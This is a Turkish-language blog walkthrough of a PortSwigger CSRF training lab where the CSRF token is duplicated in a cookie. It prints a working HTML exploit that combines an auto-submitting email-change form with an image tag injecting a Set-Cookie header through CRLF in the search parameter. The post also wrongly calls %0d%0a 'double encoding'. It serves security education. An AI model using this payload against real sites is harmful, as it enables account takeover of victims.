PortSwigger CSRF Lab 6

Bu laboratuvar ortamımız biraz daha karmaşık ve inceleme isteyen bir iş.

Önceki lab ortamlarımızda GET parametresininde zafiyetli olacağını biliyorduk.

Lab 6 : https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie

Özetle bu sefer CSRF Tokenimiz Cookie parametremizle birleşik,zafiyet “Arama yapma” parametresinde ortaya çıkıyor.

Burp Suitemizi aktif hale getirdikten sonra rastgele bir arama yapıp düşen isteği inceliyoruz.

 

İstek Proxy > HTTP History’e düştükten sonra Host bölümünde gelen isteği Repeater’a gönderdim.Zafiyetli parametremiz “LastSearchTerm (url ‘search’ parametresı)”.

Not : LastSearchTerm parametresini göremiyorsanız, Proxy > Intercept bölümünü temizleyin,yeniden arama yapın,gelen isteğe Forward diyerek artık LastSearchTerm parametresinin gelmiş olduğunu göreceksiniz.

Bunu nereden biliyoruz ? Bunu öğrenmenin bir yolu önceki CSRF Atlatma Teknikleri’ni denemiş olup başarısız olmamızdır.O halde bu parametreye nasıl enjekte sağlayabiliriz ?

Bir diğer yolu herhangi bir”GET” parametresini test etmekti 🙂

LastSearchTerm parametresini burada unutun. Artık URL’de gördüğümüz Search parametresiyle ilgileneceğiz.

Normal olarak arama yaptığımızda GET parametresi;

Resim adı : ResimGET

 

Öyleyse bu gözlemlerimizi birleştirip exploit haline dönüştürmemiz gerekli. Bunu kodlarda nasıl yapacağız ve Go To Exploit Server’a nasıl göndereceğiz soruları akla gelen ilk sorular.

 

Sağ tıklayıp form parametrelerini aldım  ve düzenlemeye başladım.

<form class=”login-form” action=”https://ac5b1fc41e5c1c0c801f39b8009d00c5.web-security-academy.net/email/change-email” method=”POST”>

//Action kısmı burp suitedan gelen zafiyetli url’miz.

<label>Email</label>

<input required type=”email” name=”email” value=”123@msn.com”>

//Value,form işlemimizi otomatik göndermemiz için varsayılan değer atıyoruz(Rastgele).

<input required type=”hidden” name=”csrf” value=”fake”>

//Value’miz normalde kullanıcımızın gerçek Tokeni fakat sunucu taraflı oluşturulmadığı için değiştirebiliyoruz.

<button class=’button’ type=’submit’> Update email </button>

<img src=”https://ac5b1fc41e5c1c0c801f39b8009d00c5.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake” onerror=”document.forms[0].submit();”/>

 

//Otomatik göndermeye yarayan scriptimizi neredeyse tümünü değiştirmek zorunda kalıyoruz. IMG SRC etiketimize,ResimGET adlı fotoğrafımızda arama yapmıştık.Arama yapılan yer,bize gelen istek mail değiştirme sayfasında değilde normal url’deydi.

 

// search=test%0d%0aSet-Cookie:%20csrf=fake : Nedir?

 

//”search=” zafiyetli parametremiz.

//”TEST”  arama yaptığımız kelime.

//”%0d%0a” Double encoding olarak geçer.Satırı bir alt satıra almamızı sağlar;Neden ? (Burada olmasada) arka planda çalışan yazılımcının syntax’ına göre hareket etmemiz gerekir.Burp Suite’de dikkat ederseniz “SEARCH” parametresinden sonra “COOKIE” bir alt  satırda.

//”Set-Cookie:%20csrf=fake” %20‘nin anlamı google’a “URL DECODING LIST” yazarsanız boşluk olduğunu göreceksiniz.

Set-Cookie ; Url'den enjekte yapabilmemiz için gerekli olan HTTP Cookie parametresi.

</form>

Lab ortamını çözmesi ve anlatması oldukça güç şeylerden biriydi.
Sorularınız için yorum yapmayı unutmayın.

 


Bu yazıyı beğendin mi ?0000

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir